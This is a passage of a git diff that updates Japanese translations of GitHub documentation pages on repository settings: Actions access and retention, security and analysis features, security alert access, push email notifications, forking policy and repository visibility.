 1. On {% data variables.product.prodname_dotcom %}, navigate to the main page of the internal repository.
 1. Under your repository name, click {% octicon "gear" aria-label="The gear icon" %} **Settings**.
 {% data reusables.repositories.settings-sidebar-actions %}
-1. Under **Access**, choose one of the access settings:
-   ![Set the access to Actions components](/assets/images/help/settings/actions-access-settings.png)
+1. Under **Access**, choose one of the access settings: ![Set the access to Actions components](/assets/images/help/settings/actions-access-settings.png)
    * **Not accessible** - Workflows in other repositories can't use workflows in this repository.
    * **Accessible from repositories in the '&lt;organization name&gt;' organization** - Workflows in other repositories can use workflows in this repository if they are part of the same organization and their visibility is private or internal.
    * **Accessible from repositories in the '&lt;enterprise name&gt;' enterprise** - Workflows in other repositories can use workflows in this repository if they are part of the same enterprise and their visibility is private or internal.
-1. Click **Save** to apply the settings.
+1. **Save（保存）**をクリックして、設定を適用してください。
 {% endif %}
 
 ## Configuring the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your repository
 
-You can configure the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your repository.
+リポジトリ内の {% data variables.product.prodname_actions %} アーティファクトとログの保持期間を設定できます。
 
 {% data reusables.actions.about-artifact-log-retention %}
 
-You can also define a custom retention period for a specific artifact created by a workflow. For more information, see "[Setting the retention period for an artifact](/actions/managing-workflow-runs/removing-workflow-artifacts#setting-the-retention-period-for-an-artifact)."
+ワークフローによって作成された特定のアーティファクトのカスタム保存期間を定義することもできます。 詳しい情報については、「[アーティファクトの保持期間を設定する](/actions/managing-workflow-runs/removing-workflow-artifacts#setting-the-retention-period-for-an-artifact)」を参照してください。
 
-## Setting the retention period for a repository
+## リポジトリの保持期間を設定する
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
diff --git a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md
index 1619c037aa..e407a245e6 100644
--- a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md
+++ b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Managing security and analysis settings for your repository
-intro: 'You can control features that secure and analyze the code in your project on {% data variables.product.prodname_dotcom %}.'
+title: リポジトリのセキュリティと分析設定を管理する
+intro: '{% data variables.product.prodname_dotcom %} 上のプロジェクトのコードをセキュリティ保護し分析する機能を管理できます。'
 permissions: People with admin permissions to a repository can manage security and analysis settings for the repository.
 redirect_from:
   - /articles/managing-alerts-for-vulnerable-dependencies-in-your-organization-s-repositories
@@ -24,20 +24,20 @@ topics:
   - Repositories
 shortTitle: Security & analysis
 ---
-{% ifversion fpt or ghec %}
-## Enabling or disabling security and analysis features for public repositories
 
-You can manage a subset of security and analysis features for public repositories. Other features are permanently enabled, including dependency graph and secret scanning.
+{% ifversion fpt or ghec %}
+## パブリックリポジトリのセキュリティおよび分析機能を有効または無効にする
+
+パブリックリポジトリのセキュリティおよび分析機能の、サブセットを管理できます。 依存関係グラフやシークレットスキャニングなど、その他の機能は常時有効になっています。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-security-and-analysis %}
-4. Under "Configure security and analysis features", to the right of the feature, click **Disable** or **Enable**.{% ifversion fpt %}
-  !["Enable" or "Disable" button for "Configure security and analysis" features in a public repository](/assets/images/help/repository/security-and-analysis-disable-or-enable-fpt-public.png){% elsif ghec %}
-  !["Enable" or "Disable" button for "Configure security and analysis" features in a public repository](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghec-public.png){% endif %}
+4. Under "Configure security and analysis features", to the right of the feature, click **Disable** or **Enable**.{% ifversion fpt %} !["Enable" or "Disable" button for "Configure security and analysis" features in a public repository](/assets/images/help/repository/security-and-analysis-disable-or-enable-fpt-public.png){% elsif ghec %}
+!["Enable" or "Disable" button for "Configure security and analysis" features in a public repository](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghec-public.png){% endif %}
 {% endif %}
 
-## Enabling or disabling security and analysis features{% ifversion fpt or ghec %} for private repositories{% endif %}
+## {% ifversion fpt or ghec %} プライベートリポジトリの{% endif %} セキュリティおよび分析機能を有効または無効にする
 
 You can manage the security and analysis features for your {% ifversion fpt or ghec %}private or internal {% endif %}repository.{% ifversion ghes or ghec %} If your organization belongs to an enterprise with a license for {% data variables.product.prodname_GH_advanced_security %} then extra options are available. {% data reusables.advanced-security.more-info-ghas %}
 {% elsif fpt %} Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} have extra options available. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest//repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#enabling-or-disabling-security-and-analysis-features-for-private-repositories).
@@ -49,82 +49,79 @@ You can manage the security and analysis features for your {% ifversion fpt or g
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-security-and-analysis %}
 {% ifversion fpt or ghes > 3.0 or ghec %}
-4. Under "Configure security and analysis features", to the right of the feature, click **Disable** or **Enable**. {% ifversion not fpt %}The control for "{% data variables.product.prodname_GH_advanced_security %}" is disabled if your enterprise has no available licenses for {% data variables.product.prodname_advanced_security %}.{% endif %}{% ifversion fpt %}
-  !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-fpt-private.png){% elsif ghec %}
-  !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghec-private.png){% elsif ghes > 3.2 %}
-  !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/enterprise/3.3/repository/security-and-analysis-disable-or-enable-ghes.png){% else %}
-  !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/enterprise/3.1/help/repository/security-and-analysis-disable-or-enable-ghes.png){% endif %}
-  
+4. [Configure security and analysis features] で、機能の右側にある [**Disable**] または [**Enable**] をクリックします。 {% ifversion not fpt %}The control for "{% data variables.product.prodname_GH_advanced_security %}" is disabled if your enterprise has no available licenses for {% data variables.product.prodname_advanced_security %}.{% endif %}{% ifversion fpt %} !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-fpt-private.png){% elsif ghec %}
+!["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghec-private.png){% elsif ghes > 3.2 %}
+!["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/enterprise/3.3/repository/security-and-analysis-disable-or-enable-ghes.png){% else %}
+!["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/enterprise/3.1/help/repository/security-and-analysis-disable-or-enable-ghes.png){% endif %}
+
   {% ifversion not fpt %}
   {% note %}
 
-  **Note:** If you disable {% data variables.product.prodname_GH_advanced_security %}, {% ifversion ghec %}dependency review, {% endif %}{% data variables.product.prodname_secret_scanning %} and {% data variables.product.prodname_code_scanning %} are disabled. Any workflows, SARIF uploads, or API calls for {% data variables.product.prodname_code_scanning %} will fail.
+  **Note:** If you disable {% data variables.product.prodname_GH_advanced_security %}, {% ifversion ghec %}dependency review, {% endif %}{% data variables.product.prodname_secret_scanning %} and {% data variables.product.prodname_code_scanning %} are disabled. あらゆるワークフロー、SARIF のアップロード、{% data variables.product.prodname_code_scanning %} への API の呼び出しが失敗することになります。
   {% endnote %}{% endif %}
 
   {% endif %}
 
   {% ifversion ghes = 3.0 %}
-4. Under "Configure security and analysis features", to the right of the feature, click **Disable** or **Enable**.
-  !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghe.png)
+4. [Configure security and analysis features] で、機能の右側にある [**Disable**] または [**Enable**] をクリックします。 ![[Configure security and analysis] 機能の [Enable] または [Disable] ボタン](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghe.png)
   {% endif %}
   {% ifversion ghae %}
-4. Under "Configure security and analysis features", to the right of the feature, click **Disable** or **Enable**. Before you can enable "{% data variables.product.prodname_secret_scanning %}" for your repository, you may need to enable {% data variables.product.prodname_GH_advanced_security %}.
-   ![Enable or disable {% data variables.product.prodname_GH_advanced_security %} or {% data variables.product.prodname_secret_scanning %} for your repository](/assets/images/enterprise/github-ae/repository/enable-ghas-secret-scanning-ghae.png)
+4. [Configure security and analysis features] で、機能の右側にある [**Disable**] または [**Enable**] をクリックします。 Before you can enable "{% data variables.product.prodname_secret_scanning %}" for your repository, you may need to enable {% data variables.product.prodname_GH_advanced_security %}. ![リポジトリに対して {% data variables.product.prodname_GH_advanced_security %} または {% data variables.product.prodname_secret_scanning %} を有効化または無効化](/assets/images/enterprise/github-ae/repository/enable-ghas-secret-scanning-ghae.png)
   {% endif %}
 
-## Granting access to security alerts
+## セキュリティアラートへのアクセスを許可する
 
 Security alerts for a repository are visible to people with admin access to the repository and, when the repository is owned by an organization, organization owners. You can give additional teams and people access to the alerts.
 
 {% note %}
 
-Organization owners and repository administrators can only grant access to view security alerts, such as {% data variables.product.prodname_secret_scanning %} alerts, to people or teams who have write access to the repo.
+Organizationのオーナーとリポジトリ管理者は、リポジトリへの書き込みアクセスを持つユーザまたは Team に対して、{% data variables.product.prodname_secret_scanning %} アラートなどのセキュリティアラートを表示する権限のみを付与できます。
 
 {% endnote %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-security-and-analysis %}
-4. Under "Access to alerts", in the search field, start typing the name of the person or team you'd like to find, then click a name in the list of matches.
+4. [Access to alerts] の検索フィールドで、検索するユーザまたは Team 名の入力を開始し、リストから一致する名前をクリックします。
    {% ifversion fpt or ghec or ghes > 3.2 %}
-   ![Search field for granting people or teams access to security alerts](/assets/images/help/repository/security-and-analysis-security-alerts-person-or-team-search.png)
+   ![ユーザまたは Team にセキュリティアラートへのアクセスを付与するための検索フィールド](/assets/images/help/repository/security-and-analysis-security-alerts-person-or-team-search.png)
    {% endif %}
    {% ifversion ghes < 3.3 %}
-   ![Search field for granting people or teams access to security alerts](/assets/images/enterprise/3.2/repository/security-and-analysis-security-alerts-person-or-team-search.png)
+   ![ユーザまたは Team にセキュリティアラートへのアクセスを付与するための検索フィールド](/assets/images/enterprise/3.2/repository/security-and-analysis-security-alerts-person-or-team-search.png)
    {% endif %}
    {% ifversion ghae %}
-   ![Search field for granting people or teams access to security alerts](/assets/images/enterprise/github-ae/repository/security-and-analysis-security-alerts-person-or-team-search-ghae.png)
-   {% endif %}
-   
-5. Click **Save changes**.
-   {% ifversion fpt or ghes > 3.2 or ghec %}
-   !["Save changes" button for changes to security alert settings](/assets/images/help/repository/security-and-analysis-security-alerts-save-changes.png)
-   {% endif %}
-   {% ifversion ghes < 3.3 %}
-   !["Save changes" button for changes to security alert settings](/assets/images/enterprise/3.2/repository/security-and-analysis-security-alerts-save-changes.png)
-   {% endif %}
-   {% ifversion ghae %}
-   !["Save changes" button for changes to security alert settings](/assets/images/enterprise/github-ae/repository/security-and-analysis-security-alerts-save-changes-ghae.png)
+   ![ユーザまたは Team にセキュリティアラートへのアクセスを付与するための検索フィールド](/assets/images/enterprise/github-ae/repository/security-and-analysis-security-alerts-person-or-team-search-ghae.png)
    {% endif %}
 
-## Removing access to security alerts
+5. [**Save changes**] をクリックします。
+   {% ifversion fpt or ghes > 3.2 or ghec %}
+   ![セキュリティアラート設定を変更するための "Save changes" ボタン](/assets/images/help/repository/security-and-analysis-security-alerts-save-changes.png)
+   {% endif %}
+   {% ifversion ghes < 3.3 %}
+   ![セキュリティアラート設定を変更するための "Save changes" ボタン](/assets/images/enterprise/3.2/repository/security-and-analysis-security-alerts-save-changes.png)
+   {% endif %}
+   {% ifversion ghae %}
+   ![セキュリティアラート設定を変更するための "Save changes" ボタン](/assets/images/enterprise/github-ae/repository/security-and-analysis-security-alerts-save-changes-ghae.png)
+   {% endif %}
+
+## セキュリティアラートへのアクセスを削除する
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-security-and-analysis %}
 4. Under "Access to alerts", to the right of the person or team whose access you'd like to remove, click {% octicon "x" aria-label="X symbol" %}.
-   {% ifversion fpt or ghec or ghes > 3.2 %}  
-   !["x" button to remove someone's access to security alerts for your repository](/assets/images/help/repository/security-and-analysis-security-alerts-username-x.png)
+   {% ifversion fpt or ghec or ghes > 3.2 %}
+   ![リポジトリのセキュリティアラートへのアクセスを削除する "x" ボタン](/assets/images/help/repository/security-and-analysis-security-alerts-username-x.png)
    {% endif %}
    {% ifversion ghes < 3.3 %}
-   !["x" button to remove someone's access to security alerts for your repository](/assets/images/enterprise/3.2/repository/security-and-analysis-security-alerts-username-x.png)
+   ![リポジトリのセキュリティアラートへのアクセスを削除する "x" ボタン](/assets/images/enterprise/3.2/repository/security-and-analysis-security-alerts-username-x.png)
    {% endif %}
    {% ifversion ghae %}
-   !["x" button to remove someone's access to security alerts for your repository](/assets/images/enterprise/github-ae/repository/security-and-analysis-security-alerts-username-x-ghae.png)
+   ![リポジトリのセキュリティアラートへのアクセスを削除する "x" ボタン](/assets/images/enterprise/github-ae/repository/security-and-analysis-security-alerts-username-x-ghae.png)
    {% endif %}
-  5. Click **Save changes**.
+  5. [**Save changes**] をクリックします。
 
-## Further reading
+## 参考リンク
 
-- "[Securing your repository](/code-security/getting-started/securing-your-repository)"
-- "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)"
+- 「[リポジトリをセキュアにする](/code-security/getting-started/securing-your-repository)」
+- 「[Organization のセキュリティと分析設定を管理する](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)」
diff --git a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md
index 67c8fece20..0c0e388b99 100644
--- a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md
+++ b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: About email notifications for pushes to your repository
-intro: You can choose to automatically send email notifications to a specific email address when anyone pushes to the repository.
+title: リポジトリへのプッシュに対するメール通知について
+intro: 誰かがリポジトリにプッシュしたときに、特定のメールアドレスにメール通知を自動的に送信するように設定できます。
 permissions: People with admin permissions in a repository can enable email notifications for pushes to your repository.
 redirect_from:
   - /articles/managing-notifications-for-pushes-to-a-repository
@@ -18,37 +18,35 @@ topics:
   - Repositories
 shortTitle: Email notifications for pushes
 ---
+
 {% data reusables.notifications.outbound_email_tip %}
 
-Each email notification for a push to a repository lists the new commits and links to a diff containing just those commits. In the email notification you'll see:
+リポジトリへのプッシュに対する各メール通知は、新しいコミットとそれらのコミットだけを含む diff へのリンクのリストを含みます。 このメール通知には以下が含まれます:
 
-- The name of the repository where the commit was made
-- The branch a commit was made in
-- The SHA1 of the commit, including a link to the diff in {% data variables.product.product_name %}
-- The author of the commit
-- The date when the commit was made
-- The files that were changed as part of the commit
-- The commit message
+- コミットが行われたリポジトリの名前
+- コミットが行われたブランチ
+- {% data variables.product.product_name %} 内での diff へのリンクを含むコミットの SHA1
+- コミットの作者
+- コミットが作成された日付
+- コミットの一部として変更されたファイル群
+- コミットメッセージ
 
-You can filter email notifications you receive for pushes to a repository. For more information, see {% ifversion fpt or ghae or ghes or ghec %}"[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications){% else %}"[About notification emails](/github/receiving-notifications-about-activity-on-github/about-email-notifications)." You can also turn off email notifications for pushes. For more information, see "[Choosing the delivery method for your notifications](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/choosing-the-delivery-method-for-your-notifications){% endif %}."
+リポジトリへのプッシュに対して受け取るメール通知はフィルタリングできます。 詳細は、{% ifversion fpt or ghae or ghes or ghec %}「[通知を設定する](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications){% else %}「[メール通知について](/github/receiving-notifications-about-activity-on-github/about-email-notifications)」を参照してください。 プッシュのメール通知を無効にすることもできます。 詳しい情報については、「[通知の配信方法を選択する](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/choosing-the-delivery-method-for-your-notifications){% endif %}」を参照してください。
 
-## Enabling email notifications for pushes to your repository
+## リポジトリへのプッシュに対するメール通知の有効化
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.sidebar-notifications %}
-5. Type up to two email addresses, separated by whitespace, where you'd like notifications to be sent. If you'd like to send emails to more than two accounts, set one of the email addresses to a group email address.
-![Email address textbox](/assets/images/help/settings/email_services_addresses.png)
-1. If you operate your own server, you can verify the integrity of emails via the **Approved header**. The **Approved header** is a token or secret that you type in this field, and that is sent with the email. If the `Approved` header of an email matches the token, you can trust that the email is from {% data variables.product.product_name %}.
-![Email approved header textbox](/assets/images/help/settings/email_services_approved_header.png)
-7. Click **Setup notifications**.
-![Setup notifications button](/assets/images/help/settings/setup_notifications_settings.png)
+5. 最大で 2 個まで、通知の送信先にしたいメールアドレスを空白で区切って入力します。 2 つを超える数のアカウントにメールを送信させたい場合は、メールアドレスの 1 つをグループメールアドレスにしてください。 ![メールアドレスのテキストボックス](/assets/images/help/settings/email_services_addresses.png)
+1. 自分のサーバーを運用している場合は、**Approved ヘッダ**を介してメールの整合性を確認できます。 **Approved ヘッダ**は、このフィールドに入力するトークンまたはシークレットであり、メールで送信されます。 メールが `Approved` ヘッダが、送信したトークンにマッチする場合、そのメールが {% data variables.product.product_name %} からのものであると信頼できます。 ![Approved ヘッダのテキストボックスをメールで送信](/assets/images/help/settings/email_services_approved_header.png)
+7. [**Setup notifications**] をクリックします。 ![設定通知ボタン](/assets/images/help/settings/setup_notifications_settings.png)
 
-## Further reading
+## 参考リンク
 {% ifversion fpt or ghae or ghes or ghec %}
-- "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications)"
+- 「[通知について](/github/managing-subscriptions-and-notifications-on-github/about-notifications)」
 {% else %}
-- "[About notifications](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/about-notifications)"
-- "[Choosing the delivery method for your notifications](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/choosing-the-delivery-method-for-your-notifications)"
-- "[About email notifications](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/about-email-notifications)"
-- "[About web notifications](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/about-web-notifications)"{% endif %}
+- 「[通知について](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/about-notifications)」
+- [通知の配信方法を選択する](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/choosing-the-delivery-method-for-your-notifications)
+- 「[メール通知について](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/about-email-notifications)」
+- 「[Web 通知について](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/about-web-notifications)」{% endif %}
diff --git a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md
index b5692be81c..ed4c0c215c 100644
--- a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md
+++ b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Managing the forking policy for your repository
-intro: 'You can allow or prevent the forking of a specific private{% ifversion ghae or ghes or ghec %} or internal{% endif %} repository owned by an organization.'
+title: リポジトリのフォークポリシーを管理する
+intro: 'Organization が所有する特定のプライベート{% ifversion ghae or ghes or ghec %}または内部{% endif %}リポジトリのフォークを許可または禁止できます。'
 redirect_from:
   - /articles/allowing-people-to-fork-a-private-repository-owned-by-your-organization
   - /github/administering-a-repository/allowing-people-to-fork-a-private-repository-owned-by-your-organization
@@ -14,16 +14,16 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Manage the forking policy
+shortTitle: フォークポリシーの管理
 ---
-An organization owner must allow forks of private{% ifversion ghae or ghes or ghec %} and internal{% endif %} repositories on the organization level before you can allow or disallow forks for a specific repository. For more information, see "[Managing the forking policy for your organization](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)."
+
+Organization のオーナーは、特定のリポジトリのフォークを許可または禁止する前に、Organization レベルでプライベート{% ifversion ghae or ghes or ghec %}および内部{% endif %}リポジトリのフォークを許可する必要があります。 詳細は「[Organization のフォークポリシーを管理する](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)」を参照してください。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-3. Under "Features", select **Allow forking**.
-  ![Checkbox to allow or disallow forking of a private repository](/assets/images/help/repository/allow-forking-specific-org-repo.png)
+3. [Features] の下で [**Allow forking**] (フォークを許可) を選択します。 ![プライベートリポジトリのフォークの許可あるいは禁止のチェックボックス](/assets/images/help/repository/allow-forking-specific-org-repo.png)
 
-## Further reading
+## 参考リンク
 
-- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)"
+- 「[フォークについて](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)」
 - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
diff --git a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md
index 96c2ccfa4b..cc37518a9a 100644
--- a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md
+++ b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md
@@ -1,6 +1,6 @@
 ---
-title: Setting repository visibility
-intro: You can choose who can view your repository.
+title: リポジトリの可視性を設定する
+intro: あなたのリポジトリを誰が表示できるか選択できます。
 redirect_from:
   - /articles/making-a-private-repository-public
   - /articles/making-a-public-repository-private
@@ -17,9 +17,10 @@ topics:
   - Repositories
 shortTitle: Repository visibility
 ---
-## About repository visibility changes
 
-Organization owners can restrict the ability to change repository visibility to organization owners only. For more information, see "[Restricting repository visibility changes in your organization](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)."
+## リポジトリの可視性の変更について
+
+Organization のオーナーは、リポジトリの可視性を変更する機能を Organization のオーナーのみに制限できます。 詳しい情報については「[Organization 内でリポジトリの可視性の変更を制限する](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)」を参照してください。
 
 {% ifversion ghec %}
 
@@ -27,7 +28,7 @@ Members of an {% data variables.product.prodname_emu_enterprise %} can only set
 
 {% endif %}
 
-We recommend reviewing the following caveats before you change the visibility of a repository.
+リポジトリの可視性を変更する前に、次の注意点を確認することをお勧めします。
 
 {% ifversion ghes or ghae %}
 
@@ -43,62 +44,61 @@ We recommend reviewing the following caveats before you change the visibility of
 
 {% endif %}
 
-### Making a repository private
+### リポジトリをプライベートにする
 {% ifversion fpt or ghes or ghec %}
-* {% data variables.product.product_name %} will detach public forks of the public repository and put them into a new network. Public forks are not made private.{% endif %}
+* {% data variables.product.product_name %} はパブリックリポジトリのパブリックフォークを切り離し、新しいネットワークに追加します。 パブリックフォークはプライベートにはなりません。{% endif %}
 {%- ifversion ghes or ghec or ghae %}
-* If you change a repository's visibility from internal to private, {% data variables.product.prodname_dotcom %} will remove forks that belong to any user without access to the newly private repository. {% ifversion fpt or ghes or ghec %}The visibility of any forks will also change to private.{% elsif ghae %}If the internal repository has any forks, the visibility of the forks is already private.{% endif %} For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)"
+* リポジトリの可視性を内部からプライベートに変更すると、{% data variables.product.prodname_dotcom %}は、新しくプライベートになったリポジトリへのアクセス権限がないユーザに属するフォークを削除します。 {% ifversion fpt or ghes or ghec %}フォークの可視性もすべてプライベートになります。{% elsif ghae %}内部リポジトリにフォークがある場合、そのフォークの可視性はすでにプライベートになっています。{% endif %}詳しい情報については、「[リポジトリが削除されたり可視性が変更されたりするとフォークはどうなりますか？](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)」を参照してください。
 {%- endif %}
 
 {%- ifversion fpt %}
-* If you're using {% data variables.product.prodname_free_user %} for user accounts or organizations, some features won't be available in the repository after you change the visibility to private. Any published {% data variables.product.prodname_pages %} site will be automatically unpublished. If you added a custom domain to the {% data variables.product.prodname_pages %} site, you should remove or update your DNS records before making the repository private, to avoid the risk of a domain takeover. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products) and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
+* ユーザアカウントまたは Organization に {% data variables.product.prodname_free_user %} を使用している場合、可視性をプライベートに変更すると、リポジトリで一部の機能が使用できなくなります。 すべての公開済みの {% data variables.product.prodname_pages %} サイトは自動的に取り下げられます。 {% data variables.product.prodname_pages %} サイトにカスタムドメインを追加した場合、ドメインの乗っ取りリスクを回避するために、リポジトリをプライベートに設定する前に DNS レコードを削除または更新してください。 For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products) and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
 {%- endif %}
 
 {%- ifversion fpt or ghec %}
-* {% data variables.product.prodname_dotcom %} will no longer include the repository in the {% data variables.product.prodname_archive %}. For more information, see "[About archiving content and data on {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)."
+* 今後、{% data variables.product.prodname_dotcom %} は {% data variables.product.prodname_archive %} にリポジトリを含まなくなります。 詳しい情報については、「[{% data variables.product.prodname_dotcom %} のコンテンツとデータのアーカイブについて](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)」を参照してください。
 * {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %}, will stop working{% ifversion ghec %} unless the repository is owned by an organization that is part of an enterprise with a license for {% data variables.product.prodname_advanced_security %} and sufficient spare seats{% endif %}. {% data reusables.advanced-security.more-info-ghas %}
 {%- endif %}
 
 {%- ifversion ghes %}
-* Anonymous Git read access is no longer available. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)."
+* 匿名の Git 読み取りアクセスは利用できなくなりました。 詳細は「[リポジトリに対する匿名 Git 読み取りアクセスを有効化する](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)」を参照してください。
 {%- endif %}
 
 {% ifversion ghes or ghec or ghae %}
 
-### Making a repository internal
+### リポジトリをインターナルにする
 
-* Any forks of the repository will remain in the repository network, and {% data variables.product.product_name %} maintains the relationship between the root repository and the fork. For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)"
+* リポジトリのすべてのフォークはリポジトリネットワークに残り、{% data variables.product.product_name %} はルートリポジトリとフォークとの関係を維持します。 詳しい情報については、「[リポジトリが削除されたり可視性が変更されたりするとフォークはどうなりますか？](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)」を参照してください。
 
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
 
-### Making a repository public
+### リポジトリをパブリックにする
 
-* {% data variables.product.product_name %} will detach private forks and turn them into a standalone private repository. For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility#changing-a-private-repository-to-a-public-repository)"{% ifversion fpt or ghec %}
-* If you're converting your private repository to a public repository as part of a move toward creating an open source project, see the [Open Source Guides](http://opensource.guide) for helpful tips and guidelines. You can also take a free course on managing an open source project with [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}). Once your repository is public, you can also view your repository's community profile to see whether your project meets best practices for supporting contributors. For more information, see "[Viewing your community profile](/articles/viewing-your-community-profile)."
-* The repository will automatically gain access to {% data variables.product.prodname_GH_advanced_security %} features.
+* {% data variables.product.product_name %} はプライベートフォークを切り離し、スタンドアロンのプライベートリポジトリに変換します。 詳しい情報については、「[リポジトリが削除されたり可視性が変更されたりするとフォークはどうなりますか？](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility#changing-a-private-repository-to-a-public-repository)」を参照してください。{% ifversion fpt or ghec %}
